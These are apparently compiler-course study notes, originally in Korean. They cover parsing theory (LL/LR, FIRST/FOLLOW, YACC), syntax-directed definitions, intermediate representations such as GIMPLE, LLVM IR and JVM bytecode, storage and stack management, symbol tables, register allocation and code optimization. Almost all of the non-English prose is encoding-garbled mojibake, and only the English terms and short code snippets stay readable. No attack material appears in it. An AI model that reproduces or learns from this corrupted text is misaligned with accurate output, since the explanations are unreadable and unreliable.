BNF) ์ ๋ (derivation) ์์ฑ ๊ท์น๋ฅผ ์ ์ฉํ์ฌ ๋ฌธ์ฅ์ ์์ฑํ๋ ๊ณผ์ ์ ๋๋ฅผ ํ๋ ๊ณผ์ ์์ ํ๋์ฉ ๊ณจ๋ผ์ ๋ฐ๊ฟ ์ ๋ ํธ๋ฆฌ : ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ถ์ํ ์์ผ ํํํ ๊ฒ ์ข์ธก ์ ๋(leftmost derivation) ๊ฐ์ฅ ์ผ์ชฝ์ ์๋ nonterminal์ ๋จผ์ ๋์น ์ฐ์ธก ์ ๋(rightmost derivation) ๊ฐ์ฅ ์ค๋ฅธ์ชฝ์ ์๋ nonterminal์ ๋จผ์ ๋์น ๋ชจํธ์ฑ (ambiguity) ๋ฌธ๋ฒ G์ ์ํด ์์ฑ๋๋ ์ด๋ค ๋ฌธ์ฅ์ด ๋๊ฐ ์ด์์ ์ ๋ํธ๋ฆฌ๋ฅผ ๊ฐ๋๋ค๋ฉด ๋ฌธ๋ฒ G๋ ๋ชจํธํ๋ค๊ณ ํ๋ค ๋ชจํธํ์ง ์์ ๋ฌธ๋ฒ์ ์ข์ธก ์ ๋์ ์ฐ์ธก ์ ๋๊ฐ ๊ฐ๋ค ๋ชจํธ์ฑ ํด๊ฒฐ ์ฐ์ฐ์ ์ฐ์ ์์ ๋์
๊ฒฐํฉ ๋ฒ์น ๋์
Left Recursion์ ์ข์ธก ๊ฒฐํฉ์ ์ฌ์ฉ ex) A -> A+a | a Right Recursion์ ์ฐ์ธก ๊ฒฐํฉ์ ์ฌ์ฉ ex) A -> a+A | a ๊ตฌ๋ฌธ ๋ถ์์ 2๊ฐ์ง ๋ฐฉ์ top-down, bottom-up Top-down parsing Top-down ๋ฐฉ์ ์ข์ธก ์ ๋์ ๊ฐ์ ์์ ์ ์์ฑ ๊ท์น ์ ์ฉ backtracking : ์ ๋๋ ๋ฌธ์์ด๊ณผ ์
๋ ฅ ๋ฌธ์์ด์ด ๊ฐ์ง ์์ผ๋ฉด ๋ค๋ฅธ ์์ฑ๊ท์น ์ ์ฉ Bottom-up ๋ฐฉ์ ์ฐ์ธก ์ ๋์ ์ญ์์ ์์ฑ ๊ท์น ์ ์ฉ LL ํ์ฑ ์ผ์ชฝ->์ค๋ฅธ์ชฝ์ผ๋ก ์ฝ์ด์ ์ขํ์ค ์์ฑ backtracking X, ๋น ๋ฅด๋ค ๊ฒฐ์ ์ ์ผ๋ก ํ์ฑ ์ฌ์ฉ๋ ์ ์ ฮต-์์ฑ๊ท์น
Nonterminal A๊ฐ ฮต๋ฅผ ์ ๋ํ ์ ์์ผ๋ฉด A๋ฅผ nullableํ๋ค๊ณ ๋ถ๋ฅธ๋ค lhs, rhs
A->XXX์์ lhs๋ A, rhs๋ XXX โ (Ring Sum)
A์ ฮต๊ฐ ์์ผ๋ฉด, AโB = (A์์ ฮต๋นผ๊ณ A ํฉ์งํฉ B) A์ ฮต๊ฐ ์์ผ๋ฉด, AโB = A First nonterminal A๋ก ๋ถํฐ ์ ๋๋์ด ์ฒซ๋ฒ์งธ๋ก ๋ํ๋ ์ ์๋ terminal์ ์งํฉ X->Y1Y2Y3์ผ๋, FIRST(X) = FIRST(X) U FIRST(Y1) โ FIRST(Y2) โ FIRST(Y3)
Follow A ๋ค์์ ๋์ค๋ terminal์ ์งํฉ A->ฮฑBฮฒ, ฮฒ != ฮต ์ผ๋, FOLLOW(B) = FOLLOW(B) U (FIRST(ฮฒ)-{ฮต})
A->ฮฑB ๋๋ A->ฮฑBฮฒ, FIRST(ฮฒ)์ ฮต๊ฐ ์ํ ๋, FOLLOW(B) = FOLLOW(B) U FOLLOW(A)
LL์กฐ๊ฑด FIRST(ฮฑ)์ FIRST(ฮฒ)๊ฐ ๊ฒน์น๋ฉด ์๋๋ค FIRST(ฮฑ)์ ฮต๊ฐ ์์ผ๋ฉด, FOLLOW(ฮฑ)์ FIRST(ฮฒ)๊ฐ ๊ฒน์น๋ฉด ์๋๋ค LL ์กฐ๊ฑด์ ๋ง์กฑํ๋ ๋ฌธ๋ฒ = LL ํ์ฑ ๋๋ ๋ฌธ๋ฒ LL(1) ๋ฌธ๋ฒ ์์์ ๋ฌธ๋ฒ์ ๋ํ์ฌ LL ์กฐ๊ฑด์ ๋ง์กฑํ๋ CFG 1 : LOOKAHEAD๊ฐ 1๊ฐ๋ผ๋ ์๋ฏธ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ LL(1)๋ฌธ๋ฒ์ด ๋์ง ์๋๋ค ๋ชจํธํ ๋ฌธ๋ฒ ์ฐ์ ์์ ์ฃผ๊ธฐ, ๊ฒฐํฉ๋ฒ์น ๋ฐ์์ผ๋ก ํด๊ฒฐ left-factoring์ด ๋๋ ๊ฒฝ์ฐ ๊ณตํต ์๋ถ๋ถ์ ์๋ก์ด nonterminal๋ก ๋ง๋ค์ด ํด๊ฒฐ left-recursiveํ ๊ฒฝ์ฐ ์ง์ recursion : A -> Aฮต ์ธ๊ฒฝ์ฐ ๊ฐ์ recursion : A -> B, B -> A ์ธ๊ฒฝ์ฐ LOOKAHEAD ์ด๋ค ๊ท์น์ด ์ ์ฉ๋์์๋ ๋งจ ์ฒ์ ๋์ฌ ์ ์๋ terminal ์งํฉ A->X1X2X3์ผ๋, LOOKAHEAD(A) = FIRST(X1) โ FIRST(X2) … โ FOLLOW(A)
Strong LL(1) LL(1)๊ณผ ํญ์ ๋์ผ (1์ด ์๋๋๋ ๋ค๋ฆ) LOOKAHEAD(A->ฮฑ)์ LOOKAHEAD(A->ฮฒ)๊ฐ ๊ฒน์น์ง ์๋ ๋ฌธ๋ฒ LL(1) ํ์ ๊ตฌํ ๋ฐฉ๋ฒ Recursive descent parser ์ฅ์ : ์ง๊ด์ ์ฝ๋ค ๋จ์ : ์์ฑ ๊ท์น์ด ๋ฐ๋๋ฉด ๊ตฌ๋ฌธ ๋ถ์๊ธฐ๋ฅผ ๊ณ ์ณ์ผ ํ๋ค Predictive parser PDA(PushDown Automata)์ ๊ธฐ๋ฐ
์์ฑ ๊ท์น์ด ๋ฐ๋๋ฉด ํ์ฑ ํ
์ด๋ธ๋ง ์์
ํ์ฑํ
์ด๋ธ ์์ (?์๋ ๊ท์น๋ฒํธ๊ฐ ๋ค์ด๊ฐ๋ค)
a b S ? ? A ? ? ํ์ฑํ
์ด๋ธ์ ๋๊ฐ ์ด์์ ์์ฑ ๊ท์น์ด ๋ค์ด๊ฐ๋ ๊ฒฝ์ฐ -> NOT LL(1)
Stack์ ์์ Bottom-up parsing left-recursive ๋ฌธ๋ฒ๋ ํ์ฑ ๊ฐ๋ฅ LL(k) ์ข์ธก์ ๋ ๊ธฐ๋ฐ k๊ฐ์ symbol์ lookahead Top-down parsing, recursive descent parsing, predictive parsing, LL parser ํ์คํธ๋ฆฌ๋ฅผ pre-roder๋ก ์ํ ๋ฐ ์์ฑ LR(k) ์ฐ์ธก์ ๋ ๊ธฐ๋ฐ k๊ฐ์ symbol์ lookahead Bottom-up parsing, shift-reduce parsing, LR parser ํ์คํธ๋ฆฌ๋ฅผ post-order๋ก ์ํ ๋ฐ ์์ฑ Reduce S=>ฮฑฮฒฯ์ด๊ณ A->ฮฒ์ด๋ฉด ฮฒ๋ฅผ A๋ก ๋์นํ๋ ๊ฒ : S=>ฮฑAฯ ์์ symbol์ด ๋์ฌ ๋๊น์ง reduce ํ๋ค Handle S=>ฮฑฮฒฯ์ด๊ณ A->ฮฒ์ด๋ฉด ฮฒ๋ฅผ ฮฑฮฒฯ์ handle์ด๋ผ๊ณ ํ๋ค ๋ ๊ฐ ์ด์์ handle์ด ์กด์ฌํ ๋ -> ๋ชจํธํ๋ค Shift์ Reduce๋ก Parsing ํ๊ธฐ Stack์ ์์ Issue Shift์ Reduce ์ค ์ด๋ ๊ฒ์ ํ ๊น? Stack์ top์์ ์ผ๋ง๋งํผ์ handle๋ก ๋ณผ ๊ฒ์ธ๊ฐ? ํด๊ฒฐ๋ฐฉ๋ฒ: LR Parsing Table YACC LALR ํ์ ์์ฑ๊ธฐ foo.y –(yacc)–> y.tab.c –(gcc)–> a.out *.y ํ์ผ ๊ตฌ์กฐ 1<์ ์ธ๋ถ> 2... 3%% 4... 5exp : exp '+' term; 6factor : ident; 7... 8%% 9<์ฌ๋ฌ ํจ์> ๋ชจํธํ ๋ฌธ๋ฒ์ผ๋ก LR Conflict ๋ฐ์ ์ ์ ์ธ๋ถ์์ ์ฐ์ ์์ ์ง์ ํ์ฌ ํด๊ฒฐ LR Parsing Table Action table : Action + Parser ์ํ Goto table : Parser ์ํ LR(0) ํ์ฑ ํ
์ด๋ธ ๋ง๋ค๊ธฐ LR(0) ์์ดํ
rhs์ ์ (’.’) symbol์ ๊ฐ์ง ์์ฑ ๊ท์น ex) A->ฮฑ.ฮฒ, A->. closure ์ (’.’)๋ค์ non-terminal์ด ์ค๋ฉด ์ฌ๊ท์ ์ผ๋ก ์ถ๊ฐ S’ -> S, S -> (L)|id, L -> S | L,S closure({[S’->.S]}) = {[S’->.S], [S->.(L)], [S->.id]} goto goto(I, X)์ด๋ฉด ์ ์ X๋ค๋ก ์ฎ๊ธฐ๊ณ closure๋ฅผ ์ทจํ๋ค X๊ฐ ์์ผ๋ฉด ๋ฃ์ง ์๋๋ค I={[G->E=E], [E->E.+T]} ์ผ๋, goto(I, +) = closure({E->E+.T}) : ์ ์ +๋ค๋ก ์ฎ๊น C0 ์์ฑ๊ท์น S’->S์์๋ถํฐ ์ฐจ๋ก๋ก closure์ goto๋ฅผ ์ ์ฉํ์ฌ ์ป์ ๋ชจ๋ ํ๋นํ LR(0)์ ์์ดํ
์งํฉ๋ค
Item์ ์ข
๋ฅ
[A->X.Y] : X!=ฮต์ผ๋ kernel item [A->.X] : closure item [A->X.] : reduce item SLR ํ์ฑ ํ
์ด๋ธ ๋ง๋ค๊ธฐ reduce Item์ด [X->ฮฑ.]์ผ๋, FOLLOW(X)์ ๋ชจ๋ terminal์๋ง reduce action์ ๋ฃ๋๋ค ๋๋จธ์ง๋ LR(0)๊ณผ ๋๊ฐ๋ค LR(0)๋ณด๋ค conflict๊ฐ ์ ์ด, ๋ ์ ๊ตํ๋ค๊ณ ํ ์ ์๋ค. LALR Parsing ์ ๊ตํ ์์ LR(0) < SLR < LALR(1) < LR(1)
ํ์ ์ํ์ ๊ฐ์ SLR = LALR « LR(1)
SDD, AST SDD (Syntax Directed Definition) SDD : semnatic action์ ์ ์ํ๋ ์ถ์์ ์ธ ๋ช
์ธ์ Semnatic Actions : ๊ท์น์ ๋ํ Action Yacc/Bison : $$, $1, $2, ... ์ฌ์ฉ ANTLR : $<name> ์ฌ์ฉ Type declaration Attribute ์ข
๋ฅ synthesized attr. : children์ ์ํด ๊ณ์ฐ (terminal) inherited attr. : parent, sibling์ ์ํด ๊ณ์ฐ AST (Abstract Syntax Tree) ํ์คํธ๋ฆฌ์์ ๋ถํ์ํ ์ ๋ณด๋ฅผ ์ ๊ฑฐํ ํํ AST๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ ํ์ฑ๋จ๊ณ์์ ๋ง๋ค๊ธฐ : LL, LR ํ์คํธ๋ฆฌ๋ฅผ ์ํํ๋ฉด์ ๋ง๋ค๊ธฐ : SDD ์ฌ์ฉ (Yacc etc.) evaluation : ๋
ธ๋๋ฅผ ๋ฐฉ๋ฌธํ๋ฉด์ ์์
ํ๋ ํ์ On-the-fly evaluation S-attributed SDD: synthesized attribute๋ง ๊ฐ์ง๊ณ ์๋ SDD L-attributed SDD: synthesized attribute๋ง ๊ฐ์ง๋ ๊ฒฝ์ฐ + ๊ฐ์ด ์ผ์ชฝ์์ ์ค๋ฅธ์ชฝ์ผ๋ก ํ๋ฌ ๊ณ์ฐ์ด ์ด๋ฃจ์ด์ง๋ ๊ฒฝ์ฐ IR (Intermediate Representation) IR์ด๋? Tree๋ Instruction list ํํ instruction(node)๊ฐ ์ ์ด์ผ ์ต์ ํ/๋ฒ์ญ์ ์ข์ High Level IR High์ Low๋ ์๋์ ์ธ ๊ฐ๋
High level IR: ์ฌ๊ธฐ์๋ AST์ ๋ณํ๋ง ์๊ฐ ์ข
๋ฅ : AST, TCOL Low Level IR ๋จ์ํ instruction์ผ๋ก ๊ตฌ์ฑ ๊ฐ์๊ธฐ๊ณ(์ฃผ๋ก RISC)๋ฅผ emulate N-tuple ํ๊ธฐ๋ฒ (3-address code) a = b OP c
์ผ๋ฐ์ ์ผ๋ก ๊ธฐ๊ณ์ด๊ฐ ๊ฐ์ง๋ ํผ์ฐ์ฐ์ ๊ฐ์ <= 3 quadruple : (์ฐ์ฐ์, ํผ์ฐ์ฐ์1, ํผ์ฐ์ฐ์2, ๊ฒฐ๊ณผ) Stack machine code Java byte code, U-code : AST๋ก๋ถํฐ ์์ฑ์ด ์ฉ์ด Tree ํํ ๊ธฐ๊ณ์ด ์์ฑ ์ฉ์ด IR ์์ GCC - GIMPLE (3-address code) GCC์ ์ค๊ฐ์ฝ๋ : GENERIC -> GIMPLE -> RTL 1D.1954 = x*10 // D.1954๋ ์์๋ณ์ 2gimple_assign <mult_exprt, D.1954, x, 10> LLVM - bit (3-address code) LLVM IR : ์ธ์ด์ ๋จธ์ ์ ๋
๋ฆฝ์ 1@var = global i32 14 ; ์ ์ญ๋ณ์ var์ 14 ๋์
2define i32 @main() nounwind { ; i32(int) ๋ฐํํ 3 entry: 4 %a = alloca i32, align 4 ; ์ง์ญ๋ณ์ a ์ ์ธ, int ํ ๋น 5 %1 = load i32 * @var ; %1 ์์๋ณ์์ var๊ฐ ๋์
6 ret i32 %1 ; ์์๋ณ์ ๊ฐ ๋ฐํ 7} JVM - byte code (stack machine code) ๊ฐ์ ๊ธฐ๊ณ ์ฝ๋ (Bytecode, MSIL) ๊ฐ์ ๊ธฐ๊ณ์์ ๋์ํ๋๋ก ํจ ์ด์์ฑ, ํธํ์ฑ์ด ๋ชฉ์ : java bytecode๋ machine ํธํ์ฑ, c# msil์ language ํธํ์ฑ 1public Employee(String strName, int num) 2{name = strName; idNumber = num; storeData(strName, num);} 3Method Employee(java.lang.String, int) 4 50 aload_0 ; 0๋ฒ์งธ ๋ก์ปฌ๋ณ์(this)๋ฅผ ์คํ์ push 61 invokespecial #3 <Method java.lang.Object()> ; ํจ์ ํธ์ถ 7--- 84 aload_0 95 aload_1 ; strName์ ์คํ์ push 106 putfield #5 <Field java.lang.String name> ; name์ strName ๋์
11--- 129 aload_0 1310 iload_2 ; num์ ์คํ์ push 1411 putfield #7 <Field int idNumber> ; idNumber์ num ๋์
15--- 1614 aload_0 1715 aload_1 ; strName์ ์คํ์ push 1816 iload_2 ; num์ ์คํ์ push 1917 invokespecial #9 <Method void storeData(java.lang.String, int)> ; ํจ์ ํธ์ถ 2020 return line number : ๋ช
๋ น์ด ์์ํ๋ ๋ฐ์ดํธ ์ฃผ์ aload : ๊ฐ์ฒด๋ฅผ push, iload : ์ ์๋ฅผ push ์๋๋ aload๊ฐ ๋ช
๋ น, ์์ฃผ ์ฐ๋ ๋ช
๋ น aload 0์ ๋ฌถ์ด์ bind -> aload_0 CIL (Common Intermediate Language) (stack machine code) C#, VB.NET, J# ๋ฑ์์ ์ฌ์ฉ MSIL์ ์๋ ์ด๋ฆ 1.assembly Hello {} ; .assembly: ์ด์
๋ธ๋ฆฌ ์ ์ธ 2.assembly extern mscorlib {} 3.method static void Main() { 4 .entrypoint 5 .maxstack 1 6 ldstr "Hello, world!" ; stack์ ์ ์ฅ 7 call void [mscorlib]System.Console::WriteLine(string) 8 ret 9} GCC RTL(Register Transfer Language) (Tree๊ตฌ์กฐ ์ฝ๋) Lisp S-expression ์ฌ์ฉ 1(set (reg:SI 140) 2 (plus:SI (reg:SI 138) 3 (reg:SI 139))) => reg140 = reg138+reg139 IR generation 3-address Translation ๊ท์น Binary operations: t = [[el OP e2]] Unary operations: t = [[OP el]] Array access: t = [[ v[e] ]] Structure access: t = [[ v.f ]] Short-circuit OR: t = [[ el SC-OR e2]] Statement sequence: [[s1; s2; ...; sN]] Variable assignment: [[ v = e ]] Array assignment: [[ v[e1] = e2 ]] If: [[ if(e) then s ]], [[ if(e) then s1 else s2]] While: [[ while (e) s ]] Switch: [[ switch (e) case v1:s1, ..., case vN:sN ]] Function Call: [[ call f(e1, e2, ..., eN) ]] Fucntion Return: [[ return e ]] Statement Expression Statement๋ expression ์ฒ๋ผ ๊ฐ์ ๊ฐ์ง๋๋ก ํ์ฅ t = [[ S ]]๋ฅผ ์ถ๊ฐํ์ฌ ๊ฒฐ๊ณผ๊ฐ์ ์ ์ฅํ์ Nested Expressions t = [[ (a - b) * (c + d) ]] t = [[ if c then if d then a = b ]] ๊ฐ์ฅ ํฐ ๋ฉ์ด๋ฆฌ๋ถํฐ ๋ฐ๊พผ๋ค Storage Management 2๊ฐ์ง Storage Register : ๋น ๋ฅธ ์ ๊ทผ, ๊ฐ์ ์ ๊ทผ ๋ถ๊ฐ Memory : ์๋์ ์ผ๋ก ๋๋ฆฐ ์ ๊ทผ, ๊ฐ์ ์ ๊ทผ ๊ฐ๋ฅ 2๊ฐ์ง ์ ๊ทผ ๋ฐฉ์ All memory approach ๋ชจ๋ ๋ณ์๋ฅผ memory์ ์ ์ฅ, ๊ฐ๋ฅํ๊ฒ๋ง register Standard approach Global, Statics, Local(composite)๋ memory์ ์ ์ฅ Local(scalar)๋ memory ๋๋ virtual register์ ์ ์ฅ Memory์ 4๋ ์์ญ Code space : ๋ช
๋ น์ด๋ฅผ ์ ์ฅ read-only์ผ๋ ๋น ๋ฆ Static data : ํ๋ก๊ทธ๋จ๊ณผ lifetime์ ํจ๊ปํ๋ ๋ฐ์ดํฐ Stack : Local ๋ณ์๋ค Heap : ๋์ ์ผ๋ก ํ ๋น๋๋ ๋ฐ์ดํฐ File Format Windows : PE (Portable Executable) Unix : ELF (Executable and Linkable Format) ๋ณ์ ๋ฐ์ธ๋ฉ environment : <๋ณ์, storage location> ์ ๋ณด state: <๋ณ์, ๊ฐ> ์ ๋ณด ์ด๋ค ๋ณ์ N์ด storage location S์ ์ง์ ๋๋ฉด ๋ฐ์ธ๋ฉ ๋๋ค๊ณ ํ๋ค Static Allocation ํ๋ก๊ทธ๋จ ์ํํ๋ ๋์ ๋ณํ์ง ์๋ location์ผ๋ก ๋ฐ์ธ๋ฉ Heap Allocation ์ฐ์์ ์ธ global ์์ญ์ ์ผ๋ถ๋ฅผ OS๋ก๋ถํฐ ๋ฐ์ ๊ฒ ํ๋ก๊ทธ๋จ ์ํ ์ค ์์ฒญ๊ณผ ๋ฐํ Stack Management Run-time stack : ํ ํจ์ call๋ง๋ค ํ๋์ฉ๋๋ frames Activation record : ํจ์ ์ํ์ ์ํ execution env(local var, parameter, return address, etc.) Top frame : ํ์ฌ ์ํ์ค์ธ ํจ์์ frame Stack pointers SP : Frame top FP : Frame base ๋ ๊ฐ๋ฅผ ์ฐ๋ ์ด์ ๊ฐ๊น์ด ๊ฑฐ ๊ธฐ์ค์ผ๋ก offset ๊ณ์ฐ -> small offset ์ ์ง ์ํ ์ค top frame์ ์์น๋ฅผ ์ ์ ์์ Semantic Analysis - Symbol Tables Scope Identifier: ์๋ณ์ Lexical Scope: ํน์ ๋ฒ์ ์๋ณ์์ Scope: ๊ทธ ์๋ณ์์ ์ ์ธ์ด ์ฐธ์กฐ๋๋ lexical scope Symbol Table Name Kind Type Attribute foo func int, int -> int extern m arg int tmp var char const ํ๋์ lexical๋ง๋ค ํ๋์ symbol table symbol table์ ๊ณ์ธต์ ์ด๋ค ํ์ฌ scope์ ์์ผ๋ฉด ์์ scope๋ก ์ฌ๋ผ๊ฐ๋ฉด์ ์ฐพ๋๋ค Symbol Table Implementation AST๊ฐ ๋ง๋ค์ด์ ธ์ผ ๊ฐ๋ฅ Local Table์ hash table ์ฌ์ฉ Global Table์ N-array tree ๊ตฌ์กฐ ์ฌ์ฉ ์ฝ๋๋ฅผ ์์ฐจ๋๋ก ์ฝ์ผ๋ฉด์ ๋ง๋ฌ (scope ์คํ์ ์ฌ์ฉ) Type Checking Type Expressions Array types: T[], T[10] Structure types : {id1: T1, id2: T2 …} Pointer types: T* Function types: T1 X T2 X … X Tn -> T_return Type Judgement A โ E : T A ์ํฉ์์ E๋ Tํ์
์ ๋ง์กฑํ๋ค
A โ if(E) S1 else S2 : T ์ ์กฐ๊ฑด์ ๋ชจ๋ E, S1, S2, A, T์ ๋ํ ๊ฐ์ ์ด ์ฑ๋ฆฝํ ๋ ๊ฒฐ๋ก T๊ฐ ์ฑ๋ฆฝํ๋ค
Proof Tree (ํ์
์ ๋ ํธ๋ฆฌ) ์ญ์ผ๊ฐํ ๋ชจ์ ๋ง์กฑํ๋ proof tree๊ฐ ์๋ค -> ํ์
์ค๋ฅ๊ฐ ์๋ค ๊ทธ ์ธ Semantic Analyses break, continue, goto ๋ฌธ์ด ์ฌ๋ฐ๋ฅธ ์์น์ ์๋ ์ง ๋ฑ ์ปดํ์ผ๋ฌ ํ๋ฐ๋ถ (๋น ๋ฅด๊ณ , ์ค์ ๋์๊ฐ๋ ์ฝ๋๋ก ๋ฐ๊พธ๊ธฐ) Instruction Selection Tree ๊ธฐ๋ฐ Intermediate Representation MEM(e) : ์ฃผ์ e๋ก ์์ํ๋ ๋ฉ๋ชจ๋ฆฌ ํ word์ ๋ด์ฉ TEMP(t) : ๋ ์ง์คํฐ t SEQ(s1, s2): ๋ฌธ์ฅ s1 ์ํ ํ s2 ์ํ ESEQ(s, e): ๋ฌธ์ฅ s ์ํ ํ (๊ฒฐ๊ณผ ์์) e๊ฐ ์ถ๊ฐ ์ํ BINOP(o, e1, e2) : ์ฐ์ฐ์ o, ํผ์ฐ์ฐ์ e1, e2, ๊ฒฐ๊ณผ ์ ์ฅ๋ ์ฃผ์ ๋ฐํ const(i): ์ ์ ์์ i Register Allocation ์ต์ ํ ํ๊ธฐ ์ํด ์ต๋ํ ์์ฃผ ์ฌ์ฉ๋๋ ๊ฒ์ Register์ ์ ์ฅ Interference ์๋ก ๋ค๋ฅธ ๋ definition์ด live range ์์ ๊ณตํต operation์ ๊ฐ์ง๊ณ ์๋ ๊ฒฝ์ฐ
Interference Graph : ์๋ก interfere ํ๋ฉด ์ฐ๊ฒฐํ๋ ๊ทธ๋ํ Graph coloring : ์ฐ๊ฒฐ๋ ๋
ธ๋๋ ๋ค๋ฅธ ์์ผ๋ก ์น ํ๊ธฐ Instruction Scheduling instruction์ ์์๋ฅผ ๋ฐ๊พธ์ด stall ๊ฐ์ ๋ฑ์ ์ค์ฌ์ ์ํ์๋๋ฅผ ๋์ด๋ ๊ฒ
stall : ๋ค๋ฅธ ๋ช
๋ น์ด ์ํ์ ๊ธฐ๋ค๋ฆฌ๋๋ผ CPU๋ฅผ ๋ญ๋นํ๋ ๊ฒ ๋ชฉํ Wasting time์ ์ค์ธ๋ค ๋์ผํ ์ฝ๋๊ฐ ๋์์ผํ๋ค register spilling์ ํผํด์ผํ๋ค Static scheduling ๋จ๊ณ Local basic scheduling, Loop scheduling, global scheduling Local basic scheduling List scheduling : greedy, heuristic, local technique ์ฌ์ฉ precedence graph๋ฅผ ๋ง๋ ๋ค ๊ฐ ๋
ธ๋์ priority function์ ์ ์ฉํ๋ค “ready-operation queue"๋ฅผ ์์ ready operation์ ํ๋ ์ ํ ํ scheduling, ready operation queue๋ฅผ ์
๋ฐ์ดํธํ๋ค. Longest latency-weighted path๋ฅผ ์ด์ฉํด์ ์ฐ์ ์์๋ฅผ ์ ํ๋ค ๊ธฐํ Optimization ๋ฐฉ๋ฒ addr r1 1 -> inc r1 ํน์ ์ฑ์ง์ ๋ ์ง์คํฐ ํ์ฉ ํน์ ๋ชฉ์ ์ ๋ช
๋ น์ด ํ์ฉ Register ๊ฐ mov ์ ๊ฑฐ ์ค๋ณต๋ load ์ ๊ฑฐ Control Flow Optimizations(์ต์ ํ) ์ฃผ์ด์ง ์
๋ ฅ ํ๋ก๊ทธ๋จ์ ์ข ๋ ํจ์จ์ ์ธ ์ฝ๋๋ก ๋ฐ๊พธ๋ ๊ฒ
์ฌ๋ฌ๊ฐ์ง ๋ถ๋ฅ ๋ฐฉ๋ฒ ๋ถ์ : Control Flow Analysis vs Data Flow Analysis ์ต์ ํ Inner basic block(local) vs Inter basic block(global) Cyclic code opt vs Acyclic code opt Control Flow Analysis Control Flow ํ๋ก๊ทธ๋จ์ ๊ฐ๋ฅํ ์ํ์์ (๋ถ๊ธฐ)
Branch Execution -> dynamic control flow : ์คํ ํด๋ด์ผ ํ์ธ ๊ฐ๋ฅ Compiler -> static control flow : ์ปดํ์ผ๋ฌ๊ฐ ๋ถ์ํด์ ์ ์ ์์ Analysis ์ ์ ์ฑ์ง (static property): ํ๋ก๊ทธ๋จ ์ํ ์์ด ๋์ถ ๋๋ ์ฑ์ง CFA(Control Flow Analysis) : ์ฝ๋์ ๋ถ๊ธฐ ๊ตฌ์กฐ๋ฅผ CFG ํํ๋ก ํํ Basic Block ๋์ผํ execution condition์ ์ ์ฉ๋ฐ๋ instruction ๋ฌถ์
instruction ์ธ์๋ branch๊ฐ ์์ Maximal basic block ๊ตฌํ๊ธฐ BB์ leader(์ฒซ๋ฒ์งธ instruction)๋ฅผ ์ฐพ๋๋ค ๋ค์ leader ์ด์ ๊น์ง์ instruction์ ๊ตฌํ๋ค Weighted CFG Profiling: ๋ฐ๋ณตํด์ ์ํํด๋ณด๋ฉด์ ์คํํ์๋ฅผ ์ป์ ์ป์ weight๋ฅผ edge์ ํ์ Control Flow Optimization Acyclic Code Loop๊ฐ ์๋ ์ฝ๋
๋ถ์ ๋ฐ ์ต์ ํ๊ฐ ์๋์ ์ผ๋ก ์ฌ์
์ข
๋ฅ
Inner basic block opt. = Intra opt. = Local opt. Inter basic block opt. = Global opt. Inner Basic Block Optimization Commn subexpression elimination ๊ณตํต๋ ๋ถ๋ถ์ด ์์ผ๋ฉด ํ๋ฒ๋ง ๊ณ์ฐ Algebraic simplification ๋์๋ฒ์น์ ์ด์ฉํ์ฌ ์์ ๊ฐ์ํ ex) x=1*y; -> x=y; Strength reduction ์ฐ์ฐ์์ ๋น์ฉ์ด ์ ์ ๊ฒ์ผ๋ก ๋ฐ๊พธ๊ธฐ ex) x=x*2; -> x=x+x; ex) y=a/4; -> y=a>>2; Constant folding / propagation folding: ์ปดํ์ผ ์๊ฐ์ ์์์์ ์ง์ ์๊ฐ propagation : ๊ณ ์ ๋ ๊ฐ์ ๊ฐ์ง๋ ๋ณ์๋ฅผ ์์๋ก ๋์ฒด Inter Basic Block Optimization Global application of inner basic block optimization
Global common subexpression elimination basic block ๊ฐ์ ๊ณตํต ๋ถ๋ถ์์ ๋ํด ํ๋ฒ๋ง ๊ณ์ฐ Global constant folding / propagation basic block ๊ฐ์ ์์๋ฅผ ์ธ์ํ์ฌ ํ๋ฒ๋ง ๊ณ์ฐ Other transformation
Branch to unconditional branch ๋ถํ์ํ ๋ถ๊ธฐ ์ ๊ฑฐ Unconditional branch to branch ๋ถ๊ธฐ ํ ๋ฐ๋ก ๋ถ๊ธฐ -> ๋ถ๊ธฐ ํ๋ฒ์ผ๋ก ๋ณ๊ฒฝ Branch to next basic block (next instr) ๋ถ๊ธฐ ํ ๋ฐ๋ก ๋ค์ basic block์ผ๋ก ๋ถ๊ธฐ ์ ๊ฑฐ Basic block merging ๋ basic block์ ํฉ์นจ Branch to same target ๊ฐ์ basic block์ผ๋ก ๋ถ๊ธฐํ๋ ๊ฒ์ ์ ๊ฑฐ Branch target expansion ๋ถ๊ธฐ ๋์์ด ๋๋ basic block์ ํฉ์นจ Unreachable code elimination Entry์์ ๋๋ฌํ ์ ์๋ ‘unreachable’ block ์ ๊ฑฐ Loop Optimization Loop๋ ํ๋ฒ optimizeํ๋ฉด ํจ๊ณผ๊ฐ ํฌ๋ค Loop unrolling : ๋ฐ๋ณต๋ฌธ์ ํ์ด์ ๋ฐ๋ณต ํ์๋ฅผ ์ค์ Loop invarient : ๋งค๋ฒ ๋์ผํ ๊ฐ์ ๋ด๋ ๋ฌธ์ฅ์ ๋ฐ๋ณต๋ฌธ ๋ฐ์ผ๋ก ๋นผ๋ Count up to zero : i๋ฅผ ๊ฐ์ํ๋ ๋ฐ๋ณต๋ฌธ์ผ๋ก ๋ณ๊ฒฝ (i๋ฅผ 0๊ณผ ๋น๊ตํ๋ ๊ฒ์ด n๊ณผ ๋น๊ตํ๋ ๊ฒ๋ณด๋ค ๋น ๋ฆ) Dataflow Analysis + Optimization Dataflow Analysis ํ๋ก๊ทธ๋จ ๋ด์ ๊ฐ data ๊ฐ๋ค์ด ์์ฑ/์๋ฉธ๋๋ ์ ๋ณด๋ฅผ ๋ชจ์ผ๋ ๊ฒ Reaching Definition Analysis definition : ํด๋น ๋ณ์๊ฐ assign๋๋ ๊ฒ reach : definition d๊ฐ ํน์ ์์น p์ ๋๋ฌํ๋ค kill : definition d์ ๋๊ฐ์ ํฌ์ธํธ์ฌ์ด์์ ๋ค๋ฅธ definition์ด ์กด์ฌํ๋ค GEN/KILL GEN: ๋ธ๋ก ๋ด์์ ์์ฑ๋ definition KILL: ๋ธ๋ก ๋ด์์ ์๋ฉธ๋ definition IN/OUT IN : ์ด์ ๋ธ๋ก์ OUT์ ํฉ์งํฉ OUT : IN์์ GEN์ ๋ํ๊ณ KILL์ ๋บ ๊ฒ